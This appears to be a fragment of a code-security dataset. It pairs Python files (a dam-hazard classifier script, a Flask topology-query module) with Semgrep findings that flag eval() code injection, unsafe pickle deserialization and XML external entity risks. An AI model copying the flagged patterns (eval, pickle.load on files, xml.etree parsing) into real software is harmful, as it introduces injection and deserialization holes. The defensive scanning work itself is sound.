cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_7e76ab99", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 129, "col": 5, "offset": 5856}, "end": {"line": 129, "col": 30, "offset": 5881}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_c54f253b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 169, "line_end": 169, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 169, "col": 40, "offset": 7840}, "end": {"line": 169, "col": 57, "offset": 7857}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_80dc9d3e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 174, "line_end": 174, "column_start": 35, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 174, "col": 35, "offset": 8277}, "end": {"line": 174, "col": 52, "offset": 8294}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_98c2aa39", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 217, "line_end": 217, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 217, "col": 40, "offset": 10458}, "end": {"line": 217, "col": 57, "offset": 10475}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_aef43c00", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 226, "line_end": 226, "column_start": 38, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 226, "col": 38, "offset": 11010}, "end": {"line": 226, "col": 55, "offset": 11027}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 12 | true | [
"CWE-95",
"CWE-95",
"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
169,
174,
217,
226
] | [
169,
174,
217,
226
] | [
40,
35,
40,
38
] | [
57,
52,
57,
55
] | [
"A03:2021 - Injection",
"A03:2021 - Injection",
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | losses.py | /evkit/utils/losses.py | lilujunai/side-tuning | MIT | |
2024-11-18T18:05:52.300596+00:00 | 1,599,152,646,000 | 9185695cb36d6614095277825baed9bb945a49c2 | 2 | {
"blob_id": "9185695cb36d6614095277825baed9bb945a49c2",
"branch_name": "refs/heads/master",
"committer_date": 1599152646000,
"content_id": "048a36508be52d7c1697a055f4fb3d12039a6fca",
"detected_licenses": [
"MIT"
],
"directory_id": "3bc4d9a4f7744126cf5af8b56c75ec188476f6aa",
"extension": "py",
"filename": "assess.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 290616074,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9477,
"license": "MIT",
"license_type": "permissive",
"path": "/assess.py",
"provenance": "stack-edu-0054.json.gz:568839",
"repo_name": "kravitsjacob/phase_2_assessment",
"revision_date": 1599152646000,
"revision_id": "b0a15b8b4e9e98de61a029479fc658a0f3d53b3d",
"snapshot_id": "8e3b06e84d55b3c0e9a557e4900099e4b8b6d69d",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/kravitsjacob/phase_2_assessment/b0a15b8b4e9e98de61a029479fc658a0f3d53b3d/assess.py",
"visit_date": "2022-12-13T03:58:06.071793"
} | 2.390625 | stackv2 |
# Import Packages
import pandas as pd
import os
import sklearn as sk
import numpy as np
import pickle
from imblearn.over_sampling import ADASYN
from sklearn.metrics import roc_curve, auc
# Global Vars
pathto_data = '/app_io'
pathto_spacefeats = os.path.join(pathto_data, 'spatial_features_model', 'output')
pathto_damdata = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'MA_U.csv')
pathto_deployidx = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'deploy_idx.pkl')
pathto_phase1_results = os.path.join(pathto_data, 'phase_1_results_convert', 'output', 'results.csv')
pathto_solution_classifications = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'solution_classifications')
pathto_assessment_objectives = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'assessment_objectives')
parameter_names = ['N_length', 'N_width', 'n_estimators', 'min_samples_split', 'min_samples_leaf',
'min_weight_fraction_leaf', 'max_depth', 'max_features', 'max_leaf_nodes']
objective_names = ['P2_accuracy', 'P2_FPR', 'P2_TPR', 'P1_AUROCC']
feature_names = ['Dam Height (ft)', 'Dam Length (ft)', 'Reservoir Size (acre-ft)', 'Maximum Downstream Slope (%)',
'Downstream Houses', 'Downstream Population', 'Building Exposure ($1000)',
'Building Footprint (1000 sq. ft.)', 'Content Exposure ($1000)']
predicted_name = 'Hazard'
positive_lab = 'NH'
def parameter_converter(params):
"""
Convert parameter to valid types
:param params: tuple
current parameters of default types
:return: dict
All the corresponding parameters in required types
"""
# Parse Ints
for i, val in enumerate(params):
if val.is_integer():
params[i] = int(val)
# Convert to Dictionary
param_dict = dict(zip(parameter_names, params))
return param_dict
def get_features(param_dict):
"""
Retrive the corresponding spatial and non-spatial feature values
:param param_dict: dict
All the corresponding simulation parameters
:return: DataFrame
Spatial and non-spatial dam hazard feature values
"""
# Import Spatial Features
df_name = 'N_length_' + str(param_dict['N_length']) + '_N_width_' + str(param_dict['N_width'])
space_feats = pd.read_hdf(os.path.join(pathto_spacefeats, 'spatial_feats.h5'), df_name)
# Import Non-Spatial Features
data = pd.read_csv(pathto_damdata)
# Merge Features
data = space_feats.join(data)
data.index = data['RECORDID']
# Rename Columns
data = data.rename(index=str, columns={'HAZARD': predicted_name, 'DAM_HEIGHT': feature_names[0],
'DAM_LENGTH': feature_names[1], 'NORMAL_STORAGE': feature_names[2],
'Slope_max': feature_names[3], 'hous_sum': feature_names[4],
'pop_sum': feature_names[5], 'buil_sum': feature_names[6],
'foot_sum': feature_names[7], 'cont_sum': feature_names[8]})
# Extract Features
data = data[feature_names+[predicted_name]]
# Export
return data
def preprocessor(df):
"""
Processing the feature values before classification
:param df: DataFrame
Feature values
:return: DataFrame
Processed feature values
"""
# Combine Categories
df = df.replace(to_replace=['L', 'S', 'H'], value=['NH', 'NH', 'H'])
# Replace nans with median
df = df.fillna(df.median())
# Specify Objective
y = df[predicted_name]
# Shape Data
X = np.array(df[feature_names])
y = np.array(y)
return X, y
def train_model(ml_params, data):
"""
Train the random forest to the current set of hyperparameters (no cross-validation)
:param ml_params: dict
Current set of hyperparameters
:param data: DataFrame
The current set of dams with features and true hazard classifications
:return: RandomForestClassifier
Trained random forest
"""
# Initialized Vars
random_state = 1008
# Process Data
X, y = preprocessor(data)
# Resample the training data to deal with class imbalance
method = ADASYN(random_state=random_state)
X_res, y_res = method.fit_sample(X, y)
# Create Model
clf = sk.ensemble.RandomForestClassifier(n_jobs=-1, random_state=random_state,
n_estimators=ml_params['n_estimators'],
min_samples_split=ml_params['min_samples_split'],
min_samples_leaf=ml_params['min_samples_leaf'],
min_weight_fraction_leaf=ml_params['min_weight_fraction_leaf'],
max_depth=ml_params['max_depth'],
max_features=ml_params['max_features'],
max_leaf_nodes=ml_params['max_leaf_nodes'])
# Fit model to train data
clf.fit(X_res, y_res)
# Export
return clf
def predict_values(model, data):
"""
Predict values based on a trained random forest
:param model: RandomForestClassifier
Trained random forest
:param data: DataFrame
The current set of dams with features and true hazard classifications
:return: DataFrame
The current set of dams with features, true hazard classifications, and predicted hazard
classifications
"""
# Process Data
X, y = preprocessor(data)
# Predicted Values
y_pred = model.predict(X)
# Append Predicted Value
data['True Hazard Class'] = y
data['Predicted Hazard Class'] = y_pred
# Area Under ROC Curve
y_score = model.predict_proba(X)[:, 1]
false_positive, true_positive, _ = roc_curve(y, y_score, pos_label=positive_lab)
AUROCC = auc(false_positive, true_positive)
data['AUROCC'] = AUROCC
return data
def CM(row):
"""
Confusion matrix function to classify true positive, false positive, false negative, or true negative
classifications
:param row: Series
Predicted and true classification of the current dam being evaluated
:return: str
Classification type
"""
if row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'H':
return 'TN'
elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'NH':
return 'TP'
elif row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'NH':
return 'FP'
elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'H':
return 'FN'
def get_obj(df):
"""
Calculate objective values
:param df: dataframe
Phase 2 classifications of current solution
:return:
Phase 2 objective values
"""
# Extract Errors
TP = df['error'].value_counts()['TP']
TN = df['error'].value_counts()['TN']
FP = df['error'].value_counts()['FP']
FN = df['error'].value_counts()['FN']
# Calculate Objectives
accuracy = (TP+TN)/(TP+TN+FP+FN)
FPR = FP/(FP+TN)
TPR = TP/(TP+FN)
AUROCC = df['AUROCC'][0]
return pd.Series([FN, FP, TN, TP, accuracy, FPR, TPR, AUROCC], index=['P2_FN', 'P2_FP', 'P2_TN', 'P2_TP']+objective_names)
def simulation(vars, name):
"""
Evaluate a dam hazard potential 'simulation' with a given set of spatial parameters and random forest
hyperparameters
:param vars: tuple
set of spatial and nonspatial parameters
:param name: str
Name of current solution
:return: Series
Phase 2 objective values
"""
# Convert Parameters
param_dict = parameter_converter(vars)
# Get Features
data = get_features(param_dict)
# Get Deployment Indexes
with open(pathto_deployidx, 'rb') as f:
deploy_idx = pickle.load(f)
# Train Model on All But Deployment Features
model = train_model(param_dict, data.drop(deploy_idx))
# Predict Deployment Features
df = predict_values(model, data.loc[deploy_idx])
# Compute Confusion Matrix
df['error'] = df.apply(CM, axis=1)
# Export Classifications
df.to_csv(os.path.join(pathto_solution_classifications, 'solution_'+str(int(name)) + '.csv'), index=False)
# Compute Objectives
objs = get_obj(df)
print(objs)
return objs
def main():
# Import Reference Set
df = pd.read_table(pathto_phase1_results, sep=',').infer_objects()
# Use All Solutions
df['solution_num'] = list(df.index)
# Run Simulation
objs_df = df.apply(lambda row: simulation(row[parameter_names].tolist(), row['solution_num']), axis=1)
rep_df = pd.concat([df, objs_df], axis=1)
# Export Representative Solution
rep_df.to_csv(os.path.join(pathto_assessment_objectives, 'assessment_results.csv'), index=False, header=True, sep=',')
return 0
if __name__ == '__main__':
main()
| 238 | 37.82 | 126 | 15 | 2,175 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6951a5a14fd5279c_3e755086", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 22, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/6951a5a14fd5279c.py", "start": {"line": 209, "col": 22, "offset": 8176}, "end": {"line": 209, "col": 36, "offset": 8190}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
209
] | [
209
] | [
22
] | [
36
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | assess.py | /assess.py | kravitsjacob/phase_2_assessment | MIT | |
2024-11-18T18:05:52.919914+00:00 | 1,625,584,497,000 | 7d79c06f8af3e0bcfa88e9703b177b44978569de | 2 | {
"blob_id": "7d79c06f8af3e0bcfa88e9703b177b44978569de",
"branch_name": "refs/heads/master",
"committer_date": 1625584497000,
"content_id": "162fc4cf197c00de108895d7889162b40d2c8cc9",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "279c70e0c1ee0625bf0940d6644def5c6f294c43",
"extension": "py",
"filename": "sources.py",
"fork_events_count": 0,
"gha_created_at": 1627422472000,
"gha_event_created_at": 1627422472000,
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 390135802,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3603,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/registry/sources.py",
"provenance": "stack-edu-0054.json.gz:568847",
"repo_name": "yongleyuan/open-science-pool-registry",
"revision_date": 1625584497000,
"revision_id": "6006e5bff640119ed9cd4bdb1afc8dccc3890dd0",
"snapshot_id": "8ca81a4c1ed5b4047b1a822948ca8d0b718fa5ac",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/yongleyuan/open-science-pool-registry/6006e5bff640119ed9cd4bdb1afc8dccc3890dd0/registry/sources.py",
"visit_date": "2023-06-28T02:23:05.147816"
} | 2.34375 | stackv2 | import re
try: # py3
from configparser import ConfigParser
except ImportError: # py2
from ConfigParser import ConfigParser
import xml.etree.ElementTree as ET
import http.client
import urllib.error
import urllib.request
from flask import current_app, request
from .exceptions import ConfigurationError
TOPOLOGY_RG = "https://topology.opensciencegrid.org/rgsummary/xml"
def get_user_info():
try:
return current_app.config["USER_INFO_FAKE"]
except:
pass
result = {
"idp": request.environ.get("OIDC_CLAIM_idp_name", None),
"id": request.environ.get("OIDC_CLAIM_osgid", None),
"name": request.environ.get("OIDC_CLAIM_name", None),
"email": request.environ.get("OIDC_CLAIM_email", None)
}
current_app.logger.debug("Authenticated user info is {}".format(str(result)))
return result
def is_signed_up(user_info):
return user_info.get("id")
def get_sources(user_info):
"""
Query topology to get a list of valid CEs and their managers
"""
osgid = user_info.get("id")
if not osgid:
return []
# URL for all Production CE resources
# topology_url = TOPOLOGY_RG + '?gridtype=on&gridtype_1=on&service_on&service_1=on'
# URL for all Execution Endpoint resources
topology_url = TOPOLOGY_RG + '?service=on&service_157=on'
try:
response = urllib.request.urlopen(topology_url)
topology_xml = response.read()
except (urllib.error.URLError, http.client.HTTPException):
raise TopologyError('Error retrieving OSG Topology registrations')
try:
topology_et = ET.fromstring(topology_xml)
except ET.ParseError:
if not topology_xml:
msg = 'OSG Topology query returned empty response'
else:
msg = 'OSG Topology query returned malformed XML'
raise TopologyError(msg)
os_pool_resources = []
resources = topology_et.findall('./ResourceGroup/Resources/Resource')
if not resources:
raise TopologyError('Failed to find any OSG Topology resources')
for resource in resources:
try:
fqdn = resource.find('./FQDN').text.strip()
except AttributeError:
# skip malformed resource missing an FQDN
continue
active = False
try:
active = resource.find('./Active').text.strip().lower() == "true"
except AttributeError:
continue
if not active:
continue
try:
services = [service.find("./Name").text.strip()
for service in resource.findall("./Services/Service")]
except AttributeError:
continue
if ('Execution Endpoint' not in services) and ('Submit Node' not in services):
continue
try:
admin_contacts = [contact_list.find('./Contacts')
for contact_list in resource.findall('./ContactLists/ContactList')
if contact_list.findtext('./ContactType', '').strip() == 'Administrative Contact']
except AttributeError:
# skip malformed resource missing contacts
continue
for contact_list in admin_contacts:
for contact in contact_list.findall("./Contact"):
if contact.findtext('./CILogonID', '').strip() == osgid:
os_pool_resources.append(fqdn)
return os_pool_resources
SOURCE_CHECK = re.compile(r"^[a-zA-Z][-.0-9a-zA-Z]*$")
def is_valid_source_name(source_name):
return bool(SOURCE_CHECK.match(source_name))
| 114 | 30.61 | 112 | 19 | 777 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_2d92585431a64ceb_1c0d98ab", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/2d92585431a64ceb.py", "start": {"line": 8, "col": 1, "offset": 135}, "end": {"line": 8, "col": 35, "offset": 169}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
8
] | [
8
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | sources.py | /registry/sources.py | yongleyuan/open-science-pool-registry | Apache-2.0 | |
2024-11-18T18:05:53.886832+00:00 | 1,514,819,429,000 | 360ee762aee9a172e998864ffe800eb47944b45b | 2 | {
"blob_id": "360ee762aee9a172e998864ffe800eb47944b45b",
"branch_name": "refs/heads/master",
"committer_date": 1514819429000,
"content_id": "de0cc0d573d2a9d26887c60b416eb7d3793d2e74",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "087ba04bd4fae34a3f90b002b6fcb736728a4467",
"extension": "py",
"filename": "collections.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 93305291,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4545,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/freestyle/collections.py",
"provenance": "stack-edu-0054.json.gz:568859",
"repo_name": "thautwarm/Stardust",
"revision_date": 1514819429000,
"revision_id": "3fa3927792958c02e51e4e5a6a5c74b6b2ecf37d",
"snapshot_id": "bbb9593a1419f7e2f23af230436dd2603c24cba0",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/thautwarm/Stardust/3fa3927792958c02e51e4e5a6a5c74b6b2ecf37d/freestyle/collections.py",
"visit_date": "2021-01-23T16:49:47.024514"
} | 2.421875 | stackv2 | from typing import List, Dict, Any
